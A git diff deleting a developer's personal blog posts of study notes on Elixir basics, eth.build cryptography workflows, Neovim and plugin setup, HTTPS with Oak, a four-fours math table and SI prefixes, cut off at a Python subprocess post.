only on condition** - -_`if`_ - -```elixir -if true do - "This works!" -end -``` - -```elixir -"This works!" -``` - -_`unless`_ - -```elixir -unless true do - "This is will never be seen" -end -``` - -```elixir -nil -``` - -**They also support `else`** - -```elixir -if nil do - "This won't be seen" -else - "This will" -end -``` - -```elixir -"This will" -``` - -## `do/end` blocks - -```elixir -iex> if true, do: 1 + 2 -2 -iex> if false, do: :this, else: :that -:that -``` - -These are equivalent: - -_code/1_ - -```elixir -if true do - a = 1 + 2 - a + 10 -end -``` - -_code/2_ - -```elixir -if true, do: ( - a = 1 + 2 - a + 10 -) -``` - -_out/all_ - -``` -13 -``` - ---- - -## referencies - -Elixir Conditions: [https://elixir-lang.org/getting-started/case-cond-and-if.html](https://elixir-lang.org/getting-started/case-cond-and-if.html) [[_archive_](https://web.archive.org/web/20210920215626/https://elixir-lang.org/getting-started/case-cond-and-if.html)] diff --git a/content/posts/learn-elixir-ep4.mdx b/content/posts/learn-elixir-ep4.mdx deleted file mode 100644 index 90d9c20e..00000000 --- a/content/posts/learn-elixir-ep4.mdx +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: 'Learn Elixir #4' -description: 'binaries, strings, and charlists' -date: '2021-02-18' -category: Elixir -tags: 'getting-start, cli, code, programming, learn-elixir' -author: 'mateusfg7' ---- - -## Unicode and Code Points - -**You can use `?` before a character literal to see your code point** - -```elixir -iex> ?a -97 -iex> ?ł -322 -``` - -```elixir -iex> "\u0061" === "a" -true -iex>0x0061 = 97 = ?a -97 -``` - -## UTF-8 and Encodings - -**Elixir uses UTF-8 to encode its strings, which means that code are encoded as a series of 8-bit bytes** - -**`String.length/1` count graphemes, but `byte_size/1` reveals the number of underlying raw bytes needed to store the string when using UTF-8. UTF-8 requires one byte to represent the characters `h`, `e`, and `o`, but two bytes to represent `ł`** - -```elixir -iex> string = "hełło" -iex> String.length(string) -5 -iex> byte_size(string) -7 -``` - -## Charlist - -**A charlist is a list of integers where all the integers are valid code points** - -```elixir -iex> 'hełło' -[104, 101, 322, 322, 111] -iex> is_list 'hełło' -true -iex> 'hello' -'hello' -iex> List.first('hello') -104 -``` - -```elixir -iex> heartbeats_per_minute = [99, 97, 116] -'cat' -``` - -```elixir -iex> to_charlist "hełło" -[104, 101, 322, 322, 111] -iex> to_string 'hełło' -"hełło" -iex> to_string :hello -"hello" -iex> to_string 1 -"1" -``` - -```elixir -iex> 'this ' <> 'fails' -** (ArgumentError) expected binary argument in <> operator but got: 'this ' - (elixir) lib/kernel.ex:1821: Kernel.wrap_concatenation/3 - (elixir) lib/kernel.ex:1808: Kernel.extract_concatenations/2 - (elixir) expanding macro: Kernel.<>/2 - iex:1: (file) -iex> 'this ' ++ 'works' -'this works' -iex> "he" ++ "llo" -** (ArgumentError) argument error - :erlang.++("he", "llo") -iex> "he" <> "llo" -"hello" -``` - ---- - -## referencies - -Binaries, strings, and charlists: [https://elixir-lang.org/getting-started/binaries-strings-and-char-lists.html](https://elixir-lang.org/getting-started/binaries-strings-and-char-lists.html) [[_archive_](https://web.archive.org/web/20210920215640/https://elixir-lang.org/getting-started/binaries-strings-and-char-lists.html)] diff --git a/content/posts/learn-with-ethereum-ep2.mdx b/content/posts/learn-with-ethereum-ep2.mdx deleted file mode 100644 index d9df62a0..00000000 --- a/content/posts/learn-with-ethereum-ep2.mdx +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: 'Learn With Ethereum #2' -description: 'Criptografando mensagens com chave pública' -date: '2020-12-12' -category: Ethereum -tags: 'blockchain, hash, cryptography, tool, asymmetric-cipher, chat' -author: 'mateusfg7' ---- - -{/* VARIABLED BLOCK */} - -[workflow 5]: https://sandbox.eth.build/wofCrGxhc3Rfbm9kZV9pZMONAXHEgcSDxIVsaW5rxIvEjQFQwqXEh8SJc8KWworCosSMxI5pwqR0eXBlwqpJbnB1dC9UZXh0wqNwb3PCkijDjMKWwqRzaXplwpLEjiwywqVmxIJnc8KBwqljb2zEgnBzZWTDg8Klb3LEiXIAwqRtxIhlAMKmxJXErnRzwpHCg8KkbmFtZcKgxKbEqMWgwqTElMSWw4DCp2_Er8WkxabFqMWqxazFrsSnxKnCpsSEcsSVZ8KlxbNrxabEjknCqnByb8SpcnRpZXPChMKrYmxvY2vGk1PFgGUywqtwxIJjZWjFj8Wawq9lbnRlciDGrcS0IGjGrmXCpcaSdGxlwqTEssS0wqV2YWx1xrbHgWnGpcShxKMBaMWvxKnCq0NyxKh0by9IxINoxLbEuMS6w4zDksS-xp_CkngexYfFicWLxY3Fj8WRxZPFlcWXxZnGrgHFncWfxaHFo8SvxbrFqcWrxrbHsXTHjGXCrcaCxoQsbnVtYsauxbLElWvGisW2xbjHssWnx7TFrMKkaMeWx7nGgXTGg27GhcaHxokBS8aMxo7GkMaSxpTC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x7LHtMe2Zce4xYHHus-Tx77IgM6xxb7Ig8iFyIfIiXTIi8iN0IbQiMKk0bfIlciXyJnCuNGYz5Eg1KjRjGLPs8iRIMWSyKjNnCDLiMKawpbGg8SOaQDEpADFtM6QxbjKvsW9ctS2AUvUu8SOa8WgyaDVg2zVh9S6AcKO1YnUvtWDbcSO1ZDEjsKQAADVg3vKg9WOwp4Cw7_Vg33EjsKf1Y7CoQHSj2fVg37EjtWnxI7CntWo1YrEjn_VhwHVrdWRzLPVg8KCxI7Co9WOwqXVuMW31YPCg9Gv1Y7CjtWx1L7CpmfGnnXFkcKQwqbFjW5maWfCgMKndsW-xL9vbsOLP8OZwpnWn9afwpo - -{/* IMAGES \ */} - -[screenshot_10]: https://i.ibb.co/6Yfkjx7/screenshot-10.png -[screenshot_11]: https://i.ibb.co/bWRqz1h/screenshot-11.png -[screenshot_12]: https://i.ibb.co/0tHZS7d/screenshot-12.png -[screenshot_13]: https://i.ibb.co/yVxpL06/screenshot-13.png -[screenshot_14]: https://i.ibb.co/k3HGLG5/screenshot-14.png -[screenshot_15]: https://i.ibb.co/GcHzZfQ/screenshot-15.png -[screenshot_16]: https://i.ibb.co/hHF1bsr/screenshot-16.png - -{/* IMAGES \ */} - -{/* VARIABLED BLOCK */} - -## Encryption (side quest) - -![/assets/learn-with-ethereum/screenshot_10.png][screenshot_10] -[_click here to edit this workflow on eth.build_][workflow 5] - -disclaimer: Todos esses blocos ja são conhecidos portando não vou reexplica-los, se quiser revisar veja o [primeiro post](/post/learn-with-ethereum) da série. - -O legal desse workflow é pra notar algo, o endereço gerado pelo **KEY PAIR**. Se você notar, o _address_ são os 42 últimos caracteres da _hash_ da _public key_. - -### Encrypt a message - -![/assets/learn-with-ethereum/screenshot_11.png][screenshot_11] -[_click here to edit this workflow on eth.build_][workflow 6] - -O bloco **ENCRYPT** é o bloco que consegue criptografar uma mensagem usando uma _public key_, ele recebe como parâmetro a _public key_ e a _message_. Semelhante ao funcionamento da criptografia [PGP](/posts/pgp). - -Parâmetros usados: - -Public Key: `0x5eed5fa3a67696c334762bb4823e585e2ee579aba3558d9955296d6c04541b426078dbd48d74af1fd0c72aa1a05147cf17be6b60bdbed6ba19b08ec28445b0ca` - -Message: `hello word this is alice for alice` - -E devolve a mensagem criptografada: `0xabc62f77ba4447a16825e10764687a9902f5bc3c03dab4660dacc1ced1a311665b713113d0ad029e7f174d0c3439b11ebafaacaebbddc897c17f67c8ee3a3d4e8fe861cef74897931e7a09e253fb553a0e0032e55ce503e405b6089505e1529456e684b98150c7a48e7115897c4ceb572e174ead1f60b75a153ed832a5abdda3bc` - -### Decrypt a message - -![/assets/learn-with-ethereum/screenshot_12.png][screenshot_12] -[_click here to edit this workflow on eth.build_][workflow 7] - -O bloco **DECRYPT**, como o próprio nome diz, faz o inverso do bloco **ENCRYPT**. Ele recebe como parâmetro a _private key_ e _encrypted_ (a mensagem criptografada no bloco **ENCRYPT**). - -Private Key usada: `0x9c0257114eb9399a2985f8e75dad7600c5d89fe3824ffa99ec1c3eb8bf3b0501` - -Este bloco devolve como retorno a mensagem inicial descriptografada (`"hello word this is alice for alice"`). - -### Full Encrypt/Decrypt Workflow - -![/assets/learn-with-ethereum/screenshot_13.png][screenshot_13] -[_click here to edit this workflow on eth.build_][workflow 8] - -### Publish/Subscribe messages - -![/assets/learn-with-ethereum/screenshot_14.png][screenshot_14] -[_click here to edit this workflow on eth.build_][workflow 9] - -O bloco **PUBLISH** serve pra enviar uma determinada mensagem em uma rede, tipo um canal [IRC](/posts/irc) (no caso a rede padrão é network.eth.build). E o bloco **SUBSCRIBE** é o bloco que recebe a mensagem. A cada envio no **PUBLISH** o **SUBSCRIBE** recebe automaticamente, de qualquer um que enviar uma mensagem. - -#### Encrypt messages on the network - -![/assets/learn-with-ethereum/screenshot_15.png][screenshot_15] -[_click here to edit this workflow on eth.build_][workflow 10] - -Aqui podemos combinar os blocos **ENCRYPT** e **PUBLISH** para enviarmos uma mensagem criptografada na rede. E depois obtermos a mensagem criptografada com o **SUBSCRIBE**: `0xf0565fb9b8d0ce71b5886c71dfad9803020bd4e8329e66b63b93703283f6e6dbae5c181458a166966a5a70bedc96f3f3ad52261ab619ee312ff5979af11cc4f0eeb0c9af9baeb6b3dd66af72c97a371482066a5cd40e11bf24d4f469416b27831c03189b3e07b3c5a8044ca95392b1d5c9` - -#### Decrypt messages on the network - -![/assets/learn-with-ethereum/screenshot_16.png][screenshot_16] -[_click here to edit this workflow on eth.build_][workflow 11] - -Combinando o workflow anterior com o bloco **DECRYPT** conseguimos descriptografar a mensagem enviada na rede. - ---- - -## referências - -Austin Griffith: [_https://www.youtube.com/playlist?list=PLJz1HruEnenCXH7KW7wBCEBnBLOVkiqIi_](https://www.youtube.com/playlist?list=PLJz1HruEnenCXH7KW7wBCEBnBLOVkiqIi) diff --git a/content/posts/learn-with-ethereum.mdx b/content/posts/learn-with-ethereum.mdx deleted file mode 100644 index 85f199e1..00000000 --- a/content/posts/learn-with-ethereum.mdx +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: 'Learn With Ethereum' -description: 'Desenvolvendo alguns algoritmos de criptografia e hash no eth.build' -date: '2020-12-11' -category: Ethereum -tags: 'blockchain, hash, cryptography, tool' -author: 'mateusfg7' ---- - -{/* VARIABLED BLOCK */} - -{/* Workflows \ */} - -[workflow 2]: https://sandbox.eth.build/wofCrGxhc3Rfbm9kZV9pZMONASPEgcSDxIVsaW5rxItkw4zDvsKlxIfEiXPCncKKwqLEjMSOHsKkdHlwZcKqSW5wdXQvVGV4dMKjcG9zwpLEjkrDjQPCosKkc2l6ZcS6ASwywqVmxIJnc8KAwqVvcsSJcgDCpG3EiGUAwqbElcSudHPCkcKDwqRuYW1lwqDEpsSoxZjCpMSUxJbDgMKnb8SvxZzFnsWgxaLFpMWmxKfEqcKmxIRyxJVnwqXFq2vFnsOMw7nCqnByb8SpcnRpZXPChMKrYmxvY2vGi1PFgmUywqtwxIJjZWhvbMWSwq9lbnRlciDGpsS0IGjGp2XCpcaKdGxlwqTEssS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si3xYLHoMmExYrFjMWOxZBhxZLFlMWWxZjFmgPJi8WgxaLJjsWlyIvFvMe2y4jHuce7yb7Ilce-yIDIgnLJrsqQyIjJssiKybXIjsiQxb9lyJLKjMqAxJbImE_KoMidxpPKpMihxI5wy45EaXPGo2F5L1fJqmPHl8S3xLnEjsOCxYTKtsWDAzE8yrnKpMmIxq4Fy4XJjcW5wpHChMiMxa3HucWcxofEjk_GhmHIgmzCoMuYzIrMjMuLxb7FsADLosaIw4DMlMyWwqDLpsqiy6jCgca3aca5xrbLtXTLt8KJyqbEjmzIpMuuy7DEgsuzQcqVypdzc8qwy7vEjsKay77EjlTEm8WIyYXMhMuCxq4EzIjLh8yKybXMncSpzJDIhcSOyp_GjcqhxpHLqMKDxpfGmcabxp3Gn8ahy7HGpcanbMWawqDMqsyswqfMusqWypjMoHPClcKWxorEpADEjmgAy4_KjMuSyIHGrs2xyJnNtc20AWvFocmeZ829TMSOawLMswAAzb1OzogBxI5vzbfOhM26y5TNvU_Oks6AcM6MwqZnxo51xZLCkMKmxY5uZmlnwoDCp3bGrsS_b27Diz_DmcKZzrTOtMKa - -{/* Workflows */} -{/* Images */} - -[screenshot_1]: https://i.ibb.co/FmzKmnZ/screenshot-1.png -[screenshot_2]: https://i.ibb.co/gFVzv2D/screenshot-2.png -[screenshot_3]: https://i.ibb.co/25LDp8r/screenshot-3.png -[screenshot_4]: https://i.ibb.co/xGgg6nw/screenshot-4.png -[screenshot_5]: https://i.ibb.co/Vpvh5P4/screenshot-5.png -[screenshot_6]: https://i.ibb.co/ykfgtq0/screenshot-6.png -[screenshot_7]: https://i.ibb.co/QYKw2jL/screenshot-7.png -[screenshot_8]: https://i.ibb.co/tCK43h3/screenshot-8.png -[screenshot_9]: https://i.ibb.co/bJCGZRb/screenshot-9.png - -{/* Images */} - -{/* VARIABLED BLOCK */} - -Primeiros passos em [eth.build](https://eth.build) - -# Hash Functions - -## Generating the hash color of... - -### ... a string - -![/assets/learn-with-ethereum/screenshot_1.png][screenshot_1] - -O input principal é o bloco **TEXT**, no qual está sendo usado o valor "Hello Word". - -O bloco **HASH** está pegando esse valor de **TEXT** no seu _input_ e esta retornando como _output_ uma _hash_ [keccak256](https://github.com/ethereum/eth-hash) (eth-hash). - -O bloco **STRING** esta exibindo essa _hash_ como uma _string_. O bloco **LENGTH** esta exibindo o tamanho dessa _hash_. - -O bloco **SUBSTRING** está pegando essa _hash_, e esta fazendo um tratamento de extração de uma _string_, usando como parâmetro o _start_, que determina a partir de qual índice da _hash_ original será feito o tratamento, e o parâmetro _length_, que determina a quantidade de caracteres extraídos. O bloco esta retornando como _output_ a _string_ extraída de 6 caracteres a partir do terceiro carácter da _hash_ original, como estipulados nos parâmetros. - -O segundo bloco **STRING** esta exibindo o _output_ do **SUBSTRING**, e esta envidando para o bloco **COLOR**, que por sua vez esta exibindo uma cor baseada na _string_ recebida como um hexadecimal. - -### ... a file - -![/assets/learn-with-ethereum/screenshot_2.png][screenshot_2] - -Os mesmos passos que com uma _string_, porem substituindo um bloco **STRING** por um bloco **FILE DROP**. O bloco **FILE DROP** recebe um arquivo como _input_. - -### ... combinations of hashes - -![/assets/learn-with-ethereum/screenshot_3.png][screenshot_3] -![/assets/learn-with-ethereum/screenshot_4.png][screenshot_4] - -Aqui estou usando o bloco **COMBINE** para combinar as _hashes_ anteriores e gerar uma nova cor com o mesmo processo. - -Qualquer mudança no _input_ inicial de qualquer um dos 3 blocos **TEXT** irá alterar tanto o resultado daquele _workflow_ em específico, quanto o do resultado usando o **COMBINE**. - -# Key Pair - -![/assets/learn-with-ethereum/screenshot_5.png][screenshot_5] - -## Generate fingerprints - -**KEY PAIR** é um bloco que consegue gerar uma _private key_, uma _public key_ e um _address_ baseado em um _string_ aleatória (neste caso quem ta gerando uma _string_ aleatória é o bloco **BUTTON**). - -Private Key: `0x7eed612b561d9a7a738bd009a810577fd7023842b481b7523af95aa50350dd16` - -Public Key: `0x299be7653d60ae3f8a6e5bf003c3989eb626e0f5e4240bae1cd0914da17b441960f99ec90445fbd4e5566b6dc0856ff167fdf65f128eb697a9995fe8ba459da7` - -Address: - -![/assets/learn-with-ethereum/screenshot_6.png][screenshot_6] - -## Sign a message - -O bloco **SIGN** vai usar como parâmetro de _input_ uma mensagem, no caso "the bear is stick with honey", e uma _private key_. A partir disso ele vai gerar uma assinatura como _output_: `0x21fa2503c40eab0c53ef362c79b2b84e8cb9b46bb3c4db8cd981394461ce4a32515f17c0d7ed62bb52fdd2a1c09fe22973cefaed8fd98bdcb852a125ffacd4711b` - -## Verify a message - -![/assets/learn-with-ethereum/screenshot_7.png][screenshot_7] -[_click here to edit this workflow on eth.build_][workflow 2] - -O bloco **RECOVER** é capaz de pegar a mensagem e a assinatura, e verificar se a assinatura é válida de um determinado endereço. - -# Send and Receive values - -## Create a receiver address - -![/assets/learn-with-ethereum/screenshot_8.png][screenshot_8] -[_click here to edit this workflow on eth.build_][workflow 3] - -O bloco **HASH** recebe um texto ("bowtiefriday") e devolve um _hash_, o bloco **KEY PAIR** recebe essa _hash_ como uma chave privada e devolve um _address_. - -O bloco **QR** exibe um _QR Code_, esse _QR Code_ será o usado para receber transações. - -O bloco **BALANCE** recebe como parâmetro o endereço de uma rede _blockchain_ existente e o endereço, e devolve o balanço monetário atual disponível para aquele endereço. O bloco **FROM WEI** converte esse valor do tipo _string_ para o tipo _number_, e o bloco **DOLLARS** pega ess número e formata como um valor monetário em dólar. - -## Send values - -![/assets/learn-with-ethereum/screenshot_9.png][screenshot_9] -[_click here to edit this workflow on eth.build_][workflow 4] - -O bloco **TRANSACTION** é o bloco que vai fazer a transação de moedas, ele recebe 3 parâmetros, _privateKey_, _to_ e _value_. - -A _privateKey_ é a chave privada do endereço que vai enviar a moeda, o parâmetro _to_ é o endereço que vai receber a moeda, e o parâmetro _value_ é o valor que será enviado. Este bloco retorna a _hash_ de assinatura da transação, o _signed_. - -O bloco **SEND TX** é o bloco que vai executar a transação, ele recebe o parâmetro _signed_ da tramação e o endereços da rede blockchain usada. Ele retorna uma _hash_ de confirmação da transação, que no caso ai não ocorreu por algum motivo, eu acredito que seja porque a rede que estou usando não é minha, é de que vez a playlist de videos que estou acompanhando. - ---- - -# Referências - -Austin Griffith: [https://www.youtube.com/playlist?list=PLJz1HruEnenCXH7KW7wBCEBnBLOVkiqIi](https://www.youtube.com/playlist?list=PLJz1HruEnenCXH7KW7wBCEBnBLOVkiqIi) - -eth-hash: [https://github.com/ethereum/eth-hash](https://github.com/ethereum/eth-hash) [[_fork_](https://github.com/mateusfg7Forks/eth-hash)] diff --git a/content/posts/neovim.mdx b/content/posts/neovim.mdx deleted file mode 100644 index 0b0e75a0..00000000 --- a/content/posts/neovim.mdx +++ /dev/null @@ -1,256 +0,0 @@ ---- -title: 'Neovim' -date: '2020-12-16' -description: 'How to install, use and configure Neovim' -tags: 'cli, step-by-step, plugins, editor, programming, code' -category: 'Vim' -author: 'mateusfg7' ---- - -## O que é? - -[Neovim](https://neovim.io/) é um editor de texto baseado no Vim que roda via CLI (Linha de comando), com a possibilidade de instala plugins. - -## Instalar neovim - -Executei o comando - -```bash -$ sudo apt install python3-neovim -``` - -no Parrot Sec 4.10 e ele instalou o neovim e os módulos python para ele automaticamente. - -A forma mais direta de instalar usando uma distribuição debian-based é com - -```bash -$ sudo apt install neovim -``` - -Para abrir o neovim basta executar o comando `nvim` no terminal. - -Arquivo de configurações do neovim: -`~/.config/nvim/init.vim` - -## Uso - -O padrão do neovim é baseado no vim, então todos os comandos do vim funcionam no neovim. - -O vim possui 2 modos, modo de edição e modo de comando, o modo de edição é o modo onde podemos editar o arquivo, pode ser ativado com a tecla `INSERT`, e o modo de comando é o modo onde podemos rodar comandos do vim, para ativar o modo comando pressione a tecla `ESC`. - -Todos os comandos do neovim devem ser adicionados após `:` no buffer do neovim. - -### Comandos - -| descrição | comando | -| ----------------------------- | ---------- | -| Sair | `:q` | -| Sair sem salvar | `:q!` | -| Salvar um arquivo | `:w` | -| Salvar e sair | `:wq` | -| Deletar um character | `x` | -| Desfazer uma ação | `u` | -| Procurar uma letra ou palavra | `/palavra` | - -### Atalhos - -Alguns atalhos do modo de edição - -Ir para o início da linha - `home` - -Ir para o final da linha - `end` - -Navegar para cima e para baixo - `Page Up` e `Page Down` - -Apagar uma linha - `CTRL+U` - -## Instalar Plugins - -### step-by-step - -O gerenciador de plugins que vou usar é o [VimPlug](https://github.com/junegunn/vim-plug). - -#### Configurar nvim para instalar pluggins: - -Instale o gerenciador VimPlug: - -```bash -curl -fLo ~/.local/share/nvim/site/autoload/plug.vim --create-dirs https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim -``` - -Adicione essas linhas no `~/.config/nvim/init.vim` - -```vim -call plug#begin() -" Your plugins... -call plug#end() -``` - -_ex:_ - -```vim -call plug#begin() -Plug 'roxma/nvim-completion-manager' -Plug 'SirVer/ultisnips' -Plug 'honza/vim-snippets' -call plug#end() -``` - -#### Instalar plugins - -Você pode encontrar muitos plugins no site [VimAwesome](https://vimawesome.com/). Escolha um e adicione as linhas do plugins entre a função `call plug#begin()` e `call plug#end()` no arquivo `~/.config/nvim/init.vim`. - -```vim -call plug#begin() -Plug 'valloric/youcompleteme' -call plug#end() -``` - -segundo o padrão `Plug 'nomedodesenvolvedor/nomedoplugin'`. - -depois execute os comandos a seguir no nvim - -``` -:PlugInstall -:UpdateRemotePlugins -``` - -### Meus Plugins - -#### **emmet-vim** - -_Download_: https://vimawesome.com/plugin/emmet-vim - -_Plugin Label_: `'mattn/emmet-vim'` - -_Usage_: - -Escreva a abreviação do código, depois aperte `CTRL+Y+,`. - -ex1: - -```html -html:5 -``` - -> `CTRL+Y+,` - -```html - - - - - - - - -``` - -ex2: - -```html -div>ul>li*5 -``` - -> `CTRL+Y+,` - -```html -
- -
-``` - -_Additional Config_ - -```vim -let g:user_emmet_leader_key='' " remap keybind to CTRL+Z+, -``` - -#### **jedi-vim** - -_Download_: https://vimawesome.com/plugin/jedi-vim - -_Plugin Label_: 'davidhalter/jedi-vim' - -_Usage_: -Autocomplete de padrões de código - -#### **AutoClose** - -_Download_: https://vimawesome.com/plugin/autoclose - -_Plugin Label_: 'townk/vim-autoclose' - -_Usage_: -Fecha alguns caracteres de escopo automaticamente, como (), [], {}, '', ""... - -#### **vim-closetag** - -_Download_: https://vimawesome.com/plugin/vim-closetag - -_Plugin Label_: 'alvan/vim-closetag' - -_Usage_: Auto completa tags HTML - -#### **tabnine-vim** - -_Download_: https://www.tabnine.com/install - -_Plugin Label_: 'zxqfl/tabnine-vim' - -_Usage_: IA para prever textos e oferecer um autocomplete inteligente - -#### **vim-workspace** - -_Download_: https://vimawesome.com/plugin/vim-workspace - -_Plugin Label_: 'thaerkh/vim-workspace' - -_Usage_: Disponibiliza funcionalidades interessantes, mas eu uso so o autosave, porque é o único que sei usar - -_Additional Config_: - -```vim -let g:workspace_autosave_always = 1 -``` - -#### **vim-airline** - -_Download_: https://vimawesome.com/plugin/vim-airline-superman - -_Plugin Label_: 'vim-airline/vim-airline' - -_Usage_: Exibe uma barra de status com informações sobre a branch atual, tipo de arquivo, modo de edição, êtc... brabo demais. - -#### **vim-wakatime** - -_Download_: https://wakatime.com/vim - -_Plugin Label_: 'wakatime/vim-wakatime' - -_Usage_: Disponibiliza uma dashboard com estatísticas de tempo em uma determinada linguagem, projeto, editor... -Tudo isso no site da Wakatime - -#### **editorconfig-vim** - -_Download_: https://github.com/editorconfig/editorconfig-vim - -_Plugin Label_: 'editorconfig/editorconfig-vim' - -_Usage_: Padroniza configuração de editores através do arquivo `.editorconfig` - ---- - -referencias: - -Installing Neovim: [https://github.com/neovim/neovim/wiki/Installing-Neovim](https://github.com/neovim/neovim/wiki/Installing-Neovim) [[_archive_](https://web.archive.org/web/20210918162758/https://github.com/neovim/neovim/wiki/Installing-Neovim)] - -How to find a Word in Vim or vi text editor: [https://www.cyberciti.biz/faq/find-a-word-in-vim-or-vi-text-editor/](https://www.cyberciti.biz/faq/find-a-word-in-vim-or-vi-text-editor/) [[_archive_](https://web.archive.org/web/20210918162917/https://www.cyberciti.biz/faq/find-a-word-in-vim-or-vi-text-editor/)] - -How to Install NeoVim and Plugins with vim-plug: [https://www.linode.com/docs/guides/how-to-install-neovim-and-plugins-with-vim-plug/](https://www.linode.com/docs/guides/how-to-install-neovim-and-plugins-with-vim-plug/) [[_archive_](https://web.archive.org/web/20210918163307/https://www.linode.com/docs/guides/how-to-install-neovim-and-plugins-with-vim-plug/)] diff --git a/content/posts/oak-over-https.mdx b/content/posts/oak-over-https.mdx deleted file mode 100644 index 9e310e68..00000000 --- a/content/posts/oak-over-https.mdx +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: 'Oak Over Https' -description: 'Integrando Oak com certificados SSL' -date: '2021-01-08' -category: Deno -tags: 'ssl, cryptography, secure-internet, back-end' -author: 'mateusfg7' ---- - -## Dependencies - -Primeiro devemos certificar que temos o programa `openssl` - -```text -dpkg -l |grep openssl -``` - -deve aparecer algo como isto - -```text -ii libgnutls-openssl27:amd64 2.12.23-12ubuntu2.4 amd64 GNU TLS library - OpenSSL wrapper - -ii openssl 1.0.1f-1ubuntu2.16 amd64 Secure Sockets Layer toolkit - cryptographic utility -``` - -senão tiver o `openssl` instalado, instale com o comando: - -_(debian based)_ - -```text -apt-get install openssl -``` - -## Generate Keys - -Para gerar a chave privada e o certificado rode o comando: - -```text -openssl req -x509 -newkey rsa:2048 -keyout keytmp.pem -out cert.pem -days 365 -``` - -Depois gere a chave descriptografada: - -```text -openssl rsa -in keytmp.pem -out key.pem -``` - -ja pode excluir o arquivo `keytmp.pem`, ele não será mais necessário. - -## Use Oak with Key and Certificate - -Para usar Oak com HTTPS devemos passar os atributos `secure`, `certFile` e `keyFile`. -como o exemplo a seguir: - -```js -await App.listen({ - port: 8000, - secure: true, - certFile: './cert.pem', - keyFile: './key.pem' -}) -``` - ---- - -## referências - -How To Create an HTTPS Server on Localhost using Express: [https://medium.com/@nitinpatel_20236/how-to-create-an-https-server-on-localhost-using-express-366435d61f28](https://medium.com/@nitinpatel_20236/how-to-create-an-https-server-on-localhost-using-express-366435d61f28) [[_archive_](https://web.archive.org/web/20210920213433/https://medium.com/@nitinpatel_20236/how-to-create-an-https-server-on-localhost-using-express-366435d61f28)] - -oak docs: [https://github.com/oakserver/oak](https://github.com/oakserver/oak) [[_archive_](https://web.archive.org/web/20210920213559/https://github.com/oakserver/oak)] - -OpenSSL Tutorial: How Do SSL Certificates, Private Keys, & CSRs Work?: [https://phoenixnap.com/kb/openssl-tutorial-ssl-certificates-private-keys-csrs](https://phoenixnap.com/kb/openssl-tutorial-ssl-certificates-private-keys-csrs) [[_archive_](https://web.archive.org/web/20210920214842/https://phoenixnap.com/kb/openssl-tutorial-ssl-certificates-private-keys-csrs)] diff --git a/content/posts/only4-4times.mdx b/content/posts/only4-4times.mdx deleted file mode 100644 index 0335c391..00000000 --- a/content/posts/only4-4times.mdx +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 'Only 4, 4 Times' -date: '2021-05-24' -description: 'Numbers from 0 to 20, just with 4, 4 times.' -category: 'Math' -tags: 'curiosities, challenge' -author: 'mateusfg7' ---- - -# My Table - -**0** = $(4-4)+(4-4)$ - -**1** = $\frac{4}{4} + (4-4)$ - -**2** = $\frac{4}{4} + \frac{4}{4}$ - -**3** = $4-(4^{4-4})$ - -**4** = $4+((4-4).4)$ - -**5** = $4+(4^{4-4})$ - -**6** = $(4-4)+(4+\sqrt{4})$ - -**7** = $\frac{4}{4}+(4+\sqrt{4})$ - -**8** = $(4+4)+(4-4)$ - -**9** = $?$ - -**10** = $(4+4x4)-\sqrt{4}$ - -**11** = $?$ - -**12** = $?$ - -**13** = $?$ - -**14** = $4+4+4+\sqrt{4}$ - -**15** = $?$ - -**16** = $4+4+4+4$ - -**17** = $?$ - -**18** = $4!-(4+4-\sqrt{4})$ - -**19** = $4!-(4+\frac{4}{4})$ - -**20** = $?$ diff --git a/content/posts/prefixos-si.mdx b/content/posts/prefixos-si.mdx deleted file mode 100644 index f2900827..00000000 --- a/content/posts/prefixos-si.mdx +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: 'Prefixos do SI' -date: '2022-01-21' -description: 'Prefixos do Sistema Internacional de Unidades e suas representações' -category: 'Math' -tags: 'cheat-sheet, curiosities, SI, table' -author: 'mateusfg7' ---- - -# **Cheat Sheet**: _Sistema Internacional de Unidades_ - -| Prefixo | Símbolo | **Notação Tradicional** | Potências _(Base 10)_ | Nome | -| :-----------------: | :-----: | :---------------------------------: | :-------------------: | :-------------: | -| Yotta | Y | $1 000 000 000 000 000 000 000 000$ | $ 10^{24} $ | Septilhão | -| Zetta | Z | $1 000 000 000 000 000 000 000$ | $ 10^{21} $ | Sextilhão | -| Exa | E | $1 000 000 000 000 000 000$ | $ 10^{18} $ | Quintilhão | -| Peta | P | $1 000 000 000 000 000$ | $ 10^{15} $ | Quadrilhão | -| Tera | T | $1 000 000 000 000$ | $ 10^{12} $ | Trilhão | -| Giga | G | $1 000 000 000$ | $ 10^{9} $ | Bilhão | -| Mega | M | $1 000 000$ | $ 10^{6} $ | Milhão | -| kilo | k | $1 000$ | $ 10^{3} $ | Mil | -| hecto | h | $100$ | $ 10^{2} $ | Cem | -| deca | da | $10$ | $ 10^{1} $ | Dez | -| Unidade Fundamental | UF | $10^{0}$ | $10^{0}$ | Um | -| deci | d | $1/10$ | $10^{-1}$ | Décimo | -| centi | c | $1/100$ | $10^{-2}$ | Centésimo | -| mili | m | $1/1000$ | $10^{-3}$ | Milésimo | -| micro | μ | $1/1000000$ | $10^{-6}$ | Milionésimo | -| nano | n | $1/1000000000$ | $10^{-9}$ | Bilionésimo | -| pico | p | $1/1000000000000$ | $10^{-12}$ | Trilionésimo | -| femto | f | $1/1000000000000000$ | $10^{-15}$ | Quadrilionésimo | -| atto | a | $1/1000000000000000000$ | $10^{-18}$ | Quintilionésimo | -| zepto | z | $1/1000000000000000000000$ | $10^{-21}$ | Sextilionésimo | -| yocto | y | $1/1000000000000000000000000$ | $10^{-24}$ | Septilionésimo | - -# Referências - -Prefixos do SI e suas diversas significações: [https://www.facebook.com/PROFCADOSORIO/posts/2336808976461448](https://www.facebook.com/PROFCADOSORIO/posts/2336808976461448) diff --git a/content/posts/python-subprocess.mdx b/content/posts/python-subprocess.mdx deleted file mode 100644 index d141b61c..00000000 --- a/content/posts/python-subprocess.mdx +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: 'Python Subprocess' -date: '2021-06-11' -description: 'Understanding the subprocess lib and their use cases' -category: 'Python' -tags: 